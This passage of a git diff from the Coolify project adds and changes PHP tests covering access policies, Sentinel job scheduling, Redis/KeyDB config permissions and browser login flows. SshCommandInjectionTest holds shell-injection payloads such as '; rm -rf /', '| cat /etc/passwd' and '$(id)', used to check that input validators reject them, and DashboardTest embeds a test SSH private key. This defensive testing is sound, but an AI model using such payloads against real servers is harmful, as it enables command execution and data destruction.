+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 2;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team admin to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeTrue();
+});
+
+it('denies team member to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/PrivateKeyStorageTest.php b/tests/Unit/PrivateKeyStorageTest.php
index 00f39e3df..09472604b 100644
--- a/tests/Unit/PrivateKeyStorageTest.php
+++ b/tests/Unit/PrivateKeyStorageTest.php
@@ -112,7 +112,7 @@ public function it_throws_exception_when_storage_directory_is_not_writable()
);
$this->expectException(\Exception::class);
- $this->expectExceptionMessage('SSH keys storage directory is not writable');
+ $this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
PrivateKey::createAndStore([
'name' => 'Test Key',
diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php
index 3f3ae593a..577730f47 100644
--- a/tests/Unit/ScheduledJobManagerLockTest.php
+++ b/tests/Unit/ScheduledJobManagerLockTest.php
@@ -24,7 +24,7 @@
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
- expect($expiresAfter)->toBe(60)
+ expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)
diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.php
index 0f2613f11..dc28d18fe 100644
--- a/tests/Unit/ServerManagerJobSentinelCheckTest.php
+++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php
@@ -1,32 +1,31 @@
instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
- // Create a mock server with sentinel enabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
+ $server->shouldReceive('isSentinelLive')->andReturn(true);
$server->id = 1;
$server->name = 'test-server';
$server->ip = '192.168.1.100';
@@ -34,29 +33,76 @@
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
- // Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
- // Execute the job
$job = new ServerManagerJob;
$job->handle();
- // Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server
- Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
- return $job->server->id === $server->id;
- });
+ // Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync
+ Queue::assertNotPushed(CheckAndStartSentinelJob::class);
});
-it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () {
- // Mock InstanceSettings
+it('skips ServerConnectionCheckJob when sentinel is live', function () {
+ $settings = Mockery::mock(InstanceSettings::class);
+ $settings->instance_timezone = 'UTC';
+ $this->app->instance(InstanceSettings::class, $settings);
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->shouldReceive('isSentinelEnabled')->andReturn(true);
+ $server->shouldReceive('isSentinelLive')->andReturn(true);
+ $server->id = 1;
+ $server->name = 'test-server';
+ $server->ip = '192.168.1.100';
+ $server->sentinel_updated_at = Carbon::now();
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
+ $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
+
+ Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
+ Server::shouldReceive('get')->andReturn(collect([$server]));
+
+ $job = new ServerManagerJob;
+ $job->handle();
+
+ // Sentinel is healthy so SSH connection check is skipped
+ Queue::assertNotPushed(ServerConnectionCheckJob::class);
+});
+
+it('dispatches ServerConnectionCheckJob when sentinel is not live', function () {
+ $settings = Mockery::mock(InstanceSettings::class);
+ $settings->instance_timezone = 'UTC';
+ $this->app->instance(InstanceSettings::class, $settings);
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->shouldReceive('isSentinelEnabled')->andReturn(true);
+ $server->shouldReceive('isSentinelLive')->andReturn(false);
+ $server->id = 1;
+ $server->name = 'test-server';
+ $server->ip = '192.168.1.100';
+ $server->sentinel_updated_at = Carbon::now()->subMinutes(10);
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
+ $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
+
+ Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
+ Server::shouldReceive('get')->andReturn(collect([$server]));
+
+ $job = new ServerManagerJob;
+ $job->handle();
+
+ // Sentinel is out of sync so SSH connection check is needed
+ Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) {
+ return $job->server->id === $server->id;
+ });
+});
+
+it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () {
$settings = Mockery::mock(InstanceSettings::class);
$settings->instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
- // Create a mock server with sentinel disabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(false);
+ $server->shouldReceive('isSentinelLive')->never();
$server->id = 2;
$server->name = 'test-server-no-sentinel';
$server->ip = '192.168.1.101';
@@ -64,78 +110,14 @@
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
- // Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
- // Execute the job
$job = new ServerManagerJob;
$job->handle();
- // Assert CheckAndStartSentinelJob was NOT dispatched
- Queue::assertNotPushed(CheckAndStartSentinelJob::class);
-});
-
-it('respects server timezone when scheduling sentinel checks', function () {
- // Mock InstanceSettings
- $settings = Mockery::mock(InstanceSettings::class);
- $settings->instance_timezone = 'UTC';
- $this->app->instance(InstanceSettings::class, $settings);
-
- // Set test time to top of hour in America/New_York (which is 17:00 UTC)
- Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST)
-
- // Create a mock server with sentinel enabled and America/New_York timezone
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('isSentinelEnabled')->andReturn(true);
- $server->id = 3;
- $server->name = 'test-server-est';
- $server->ip = '192.168.1.102';
- $server->sentinel_updated_at = Carbon::now();
- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']);
- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
-
- // Mock the Server query
- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
- Server::shouldReceive('get')->andReturn(collect([$server]));
-
- // Execute the job
- $job = new ServerManagerJob;
- $job->handle();
-
- // Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone)
- Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
+ // Sentinel is not enabled so SSH connection check must run
+ Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id;
});
});
-
-it('does not dispatch sentinel check when not at top of hour', function () {
- // Mock InstanceSettings
- $settings = Mockery::mock(InstanceSettings::class);
- $settings->instance_timezone = 'UTC';
- $this->app->instance(InstanceSettings::class, $settings);
-
- // Set test time to middle of the hour (not top of hour)
- Carbon::setTestNow('2025-01-15 12:30:00');
-
- // Create a mock server with sentinel enabled
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('isSentinelEnabled')->andReturn(true);
- $server->id = 4;
- $server->name = 'test-server-mid-hour';
- $server->ip = '192.168.1.103';
- $server->sentinel_updated_at = Carbon::now();
- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
-
- // Mock the Server query
- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
- Server::shouldReceive('get')->andReturn(collect([$server]));
-
- // Execute the job
- $job = new ServerManagerJob;
- $job->handle();
-
- // Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour)
- Queue::assertNotPushed(CheckAndStartSentinelJob::class);
-});
diff --git a/tests/Unit/ServerQueryScopeTest.php b/tests/Unit/ServerQueryScopeTest.php
index 8ab0b8b10..0d1e7729c 100644
--- a/tests/Unit/ServerQueryScopeTest.php
+++ b/tests/Unit/ServerQueryScopeTest.php
@@ -3,7 +3,6 @@
use App\Enums\ProxyTypes;
use App\Models\Server;
use Illuminate\Database\Eloquent\Builder;
-use Mockery;
it('filters servers by proxy type using whereProxyType scope', function () {
// Mock the Builder
diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php
index 2ad345c44..6ef5bf030 100644
--- a/tests/Unit/ServiceRequiredPortTest.php
+++ b/tests/Unit/ServiceRequiredPortTest.php
@@ -2,7 +2,6 @@
use App\Models\Service;
use App\Models\ServiceApplication;
-use Mockery;
it('returns required port from service template', function () {
// Mock get_service_templates() function
diff --git a/tests/Unit/SshCommandInjectionTest.php b/tests/Unit/SshCommandInjectionTest.php
new file mode 100644
index 000000000..e7eeff62d
--- /dev/null
+++ b/tests/Unit/SshCommandInjectionTest.php
@@ -0,0 +1,125 @@
+validate('ip', '192.168.1.1', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeFalse();
+});
+
+it('accepts a valid IPv6 address', function () {
+ $rule = new ValidServerIp;
+ $failed = false;
+ $rule->validate('ip', '2001:db8::1', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeFalse();
+});
+
+it('accepts a valid hostname', function () {
+ $rule = new ValidServerIp;
+ $failed = false;
+ $rule->validate('ip', 'my-server.example.com', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeFalse();
+});
+
+it('rejects injection payloads in server ip', function (string $payload) {
+ $rule = new ValidServerIp;
+ $failed = false;
+ $rule->validate('ip', $payload, function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeTrue("ValidServerIp should reject: $payload");
+})->with([
+ 'semicolon' => ['192.168.1.1; rm -rf /'],
+ 'pipe' => ['192.168.1.1 | cat /etc/passwd'],
+ 'backtick' => ['192.168.1.1`id`'],
+ 'dollar subshell' => ['192.168.1.1$(id)'],
+ 'ampersand' => ['192.168.1.1 & id'],
+ 'newline' => ["192.168.1.1\nid"],
+ 'null byte' => ["192.168.1.1\0id"],
+]);
+
+// -------------------------------------------------------------------------
+// Server model setter casts
+// -------------------------------------------------------------------------
+
+it('strips dangerous characters from server ip on write', function () {
+ $server = new App\Models\Server;
+ $server->ip = '192.168.1.1;rm -rf /';
+ // Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
+ expect($server->ip)->toBe('192.168.1.1rm-rf');
+});
+
+it('strips dangerous characters from server user on write', function () {
+ $server = new App\Models\Server;
+ $server->user = 'root$(id)';
+ expect($server->user)->toBe('rootid');
+});
+
+it('strips non-numeric characters from server port on write', function () {
+ $server = new App\Models\Server;
+ $server->port = '22; evil';
+ expect($server->port)->toBe(22);
+});
+
+// -------------------------------------------------------------------------
+// escapeshellarg() in generated SSH commands (source-level verification)
+// -------------------------------------------------------------------------
+
+it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () {
+ $reflection = new ReflectionClass(SshMultiplexingHelper::class);
+ expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue();
+
+ $method = $reflection->getMethod('escapedUserAtHost');
+ expect($method->isPrivate())->toBeTrue();
+ expect($method->isStatic())->toBeTrue();
+});
+
+it('wraps port with escapeshellarg in getCommonSshOptions', function () {
+ $reflection = new ReflectionClass(SshMultiplexingHelper::class);
+ $source = file_get_contents($reflection->getFileName());
+
+ expect($source)->toContain('escapeshellarg((string) $server->port)');
+});
+
+it('has no raw user@ip string interpolation in SshMultiplexingHelper', function () {
+ $reflection = new ReflectionClass(SshMultiplexingHelper::class);
+ $source = file_get_contents($reflection->getFileName());
+
+ expect($source)->not->toContain('{$server->user}@{$server->ip}');
+});
+
+// -------------------------------------------------------------------------
+// ValidHostname rejects shell metacharacters
+// -------------------------------------------------------------------------
+
+it('rejects semicolon in hostname', function () {
+ $rule = new ValidHostname;
+ $failed = false;
+ $rule->validate('hostname', 'example.com;id', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeTrue();
+});
+
+it('rejects backtick in hostname', function () {
+ $rule = new ValidHostname;
+ $failed = false;
+ $rule->validate('hostname', 'example.com`id`', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeTrue();
+});
diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php
new file mode 100644
index 000000000..dca3b0e8c
--- /dev/null
+++ b/tests/Unit/StartKeydbConfigPermissionTest.php
@@ -0,0 +1,52 @@
+configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
+ $action->database = $database;
+
+ if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
+ }
+
+ expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
+});
+
+test('keydb config chown command is not added when keydb_conf is null', function () {
+ $action = new StartKeydb;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
+ $action->database = $database;
+
+ if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
+
+test('keydb config chown command is not added when keydb_conf is empty', function () {
+ $action = new StartKeydb;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
+ $action->database = $database;
+
+ if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php
new file mode 100644
index 000000000..77574287e
--- /dev/null
+++ b/tests/Unit/StartRedisConfigPermissionTest.php
@@ -0,0 +1,53 @@
+configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneRedis::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
+ $action->database = $database;
+
+ // Simulate the chown logic from handle()
+ if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
+ }
+
+ expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
+});
+
+test('redis config chown command is not added when redis_conf is null', function () {
+ $action = new StartRedis;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneRedis::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
+ $action->database = $database;
+
+ if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
+
+test('redis config chown command is not added when redis_conf is empty', function () {
+ $action = new StartRedis;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneRedis::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
+ $action->database = $database;
+
+ if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php
new file mode 100644
index 000000000..b4a97f268
--- /dev/null
+++ b/tests/v4/Browser/DashboardTest.php
@@ -0,0 +1,162 @@
+ 0]);
+
+ $this->user = User::factory()->create([
+ 'id' => 0,
+ 'name' => 'Root User',
+ 'email' => 'test@example.com',
+ 'password' => Hash::make('password'),
+ ]);
+
+ PrivateKey::create([
+ 'id' => 1,
+ 'uuid' => 'ssh-test',
+ 'team_id' => 0,
+ 'name' => 'Test Key',
+ 'description' => 'Test SSH key',
+ 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----',
+ ]);
+
+ Server::create([
+ 'id' => 0,
+ 'uuid' => 'localhost',
+ 'name' => 'localhost',
+ 'description' => 'This is a test docker container in development mode',
+ 'ip' => 'coolify-testing-host',
+ 'team_id' => 0,
+ 'private_key_id' => 1,
+ 'proxy' => [
+ 'type' => ProxyTypes::TRAEFIK->value,
+ 'status' => ProxyStatus::EXITED->value,
+ ],
+ ]);
+
+ Server::create([
+ 'uuid' => 'production-1',
+ 'name' => 'production-web',
+ 'description' => 'Production web server cluster',
+ 'ip' => '10.0.0.1',
+ 'team_id' => 0,
+ 'private_key_id' => 1,
+ 'proxy' => [
+ 'type' => ProxyTypes::TRAEFIK->value,
+ 'status' => ProxyStatus::EXITED->value,
+ ],
+ ]);
+
+ Server::create([
+ 'uuid' => 'staging-1',
+ 'name' => 'staging-server',
+ 'description' => 'Staging environment server',
+ 'ip' => '10.0.0.2',
+ 'team_id' => 0,
+ 'private_key_id' => 1,
+ 'proxy' => [
+ 'type' => ProxyTypes::TRAEFIK->value,
+ 'status' => ProxyStatus::EXITED->value,
+ ],
+ ]);
+
+ Project::create([
+ 'uuid' => 'project-1',
+ 'name' => 'My first project',
+ 'description' => 'This is a test project in development',
+ 'team_id' => 0,
+ ]);
+
+ Project::create([
+ 'uuid' => 'project-2',
+ 'name' => 'Production API',
+ 'description' => 'Backend services for production',
+ 'team_id' => 0,
+ ]);
+
+ Project::create([
+ 'uuid' => 'project-3',
+ 'name' => 'Staging Environment',
+ 'description' => 'Staging and QA testing',
+ 'team_id' => 0,
+ ]);
+});
+
+function loginAndSkipOnboarding(): mixed
+{
+ return visit('/login')
+ ->fill('email', 'test@example.com')
+ ->fill('password', 'password')
+ ->click('Login')
+ ->click('Skip Setup');
+}
+
+it('redirects to login when not authenticated', function () {
+ $page = visit('/');
+
+ $page->assertPathIs('/login')
+ ->screenshot();
+});
+
+it('shows onboarding after first login', function () {
+ $page = visit('/login');
+
+ $page->fill('email', 'test@example.com')
+ ->fill('password', 'password')
+ ->click('Login')
+ ->assertSee('Welcome to Coolify')
+ ->assertSee("Let's go!")
+ ->assertSee('Skip Setup')
+ ->screenshot();
+});
+
+it('shows dashboard after skipping onboarding', function () {
+ $page = loginAndSkipOnboarding();
+
+ $page->assertSee('Dashboard')
+ ->assertSee('Your self-hosted infrastructure.')
+ ->screenshot();
+});
+
+it('shows all projects on dashboard', function () {
+ $page = loginAndSkipOnboarding();
+
+ $page->assertSee('Projects')
+ ->assertSee('My first project')
+ ->assertSee('This is a test project in development')
+ ->assertSee('Production API')
+ ->assertSee('Backend services for production')
+ ->assertSee('Staging Environment')
+ ->assertSee('Staging and QA testing')
+ ->screenshot();
+});
+
+it('shows servers on dashboard', function () {
+ $page = loginAndSkipOnboarding();
+
+ $page->assertSee('Servers')
+ ->assertSee('localhost')
+ ->assertSee('This is a test docker container in development mode')
+ ->assertSee('production-web')
+ ->assertSee('Production web server cluster')
+ ->assertSee('staging-server')
+ ->assertSee('Staging environment server')
+ ->screenshot();
+});
diff --git a/tests/v4/Browser/LoginTest.php b/tests/v4/Browser/LoginTest.php
new file mode 100644
index 000000000..7666e07e2
--- /dev/null
+++ b/tests/v4/Browser/LoginTest.php
@@ -0,0 +1,52 @@
+ 0]);
+});
+
+it('shows registration page when no users exist', function () {
+ $page = visit('/login');
+
+ $page->assertSee('Root User Setup')
+ ->assertSee('Create Account')
+ ->screenshot();
+});
+
+it('can login with valid credentials', function () {
+ User::factory()->create([
+ 'id' => 0,
+ 'email' => 'test@example.com',
+ 'password' => Hash::make('password'),
+ ]);
+
+ $page = visit('/login');
+
+ $page->fill('email', 'test@example.com')
+ ->fill('password', 'password')
+ ->click('Login')
+ ->assertSee('Welcome to Coolify')
+ ->screenshot();
+});
+
+it('fails login with invalid credentials', function () {
+ User::factory()->create([
+ 'id' => 0,
+ 'email' => 'test@example.com',
+ 'password' => Hash::make('password'),
+ ]);
+
+ $page = visit('/login');
+
+ $page->fill('email', 'random@email.com')
+ ->fill('password', 'wrongpassword123')
+ ->click('Login')
+ ->assertSee('These credentials do not match our records')
+ ->screenshot();
+});
diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php
new file mode 100644
index 000000000..e2a232357
--- /dev/null
+++ b/tests/v4/Browser/RegistrationTest.php
@@ -0,0 +1,67 @@
+ 0]);
+});
+
+it('shows registration page when no users exist', function () {
+ $page = visit('/register');
+
+ $page->assertSee('Root User Setup')
+ ->assertSee('Create Account')
+ ->screenshot();
+});
+
+it('can register a new root user', function () {
+ $page = visit('/register');
+
+ $page->fill('name', 'Test User')
+ ->fill('email', 'root@example.com')
+ ->fill('password', 'Password1!@')
+ ->fill('password_confirmation', 'Password1!@')
+ ->click('Create Account')
+ ->assertPathIs('/onboarding')
+ ->screenshot();
+
+ expect(User::where('email', 'root@example.com')->exists())->toBeTrue();
+});
+
+it('fails registration with mismatched passwords', function () {
+ $page = visit('/register');
+
+ $page->fill('name', 'Test User')
+ ->fill('email', 'root@example.com')
+ ->fill('password', 'Password1!@')
+ ->fill('password_confirmation', 'DifferentPass1!@')
+ ->click('Create Account')
+ ->assertSee('password')
+ ->screenshot();
+});
+
+it('fails registration with weak password', function () {
+ $page = visit('/register');
+
+ $page->fill('name', 'Test User')
+ ->fill('email', 'root@example.com')
+ ->fill('password', 'short')
+ ->fill('password_confirmation', 'short')
+ ->click('Create Account')
+ ->assertSee('password')
+ ->screenshot();
+});
+
+it('shows login link when a user already exists', function () {
+ User::factory()->create(['id' => 0]);
+
+ $page = visit('/register');
+
+ $page->assertSee('Already registered?')
+ ->assertDontSee('Root User Setup')
+ ->screenshot();
+});
diff --git a/tests/v4/Feature/SqliteDatabaseTest.php b/tests/v4/Feature/SqliteDatabaseTest.php
new file mode 100644
index 000000000..d2df5c0a6
--- /dev/null
+++ b/tests/v4/Feature/SqliteDatabaseTest.php
@@ -0,0 +1,18 @@
+getDriverName())->toBe('sqlite');
+});
+
+it('runs migrations successfully', function () {
+ expect(Schema::hasTable('users'))->toBeTrue();
+ expect(Schema::hasTable('teams'))->toBeTrue();
+ expect(Schema::hasTable('servers'))->toBeTrue();
+ expect(Schema::hasTable('applications'))->toBeTrue();
+});
diff --git a/versions.json b/versions.json
index 1ce790111..7409fbc42 100644
--- a/versions.json
+++ b/versions.json
@@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.463"
+ "version": "4.0.0-beta.464"
},
"nightly": {
- "version": "4.0.0-beta.464"
+ "version": "4.0.0-beta.465"
},
"helper": {
"version": "1.0.12"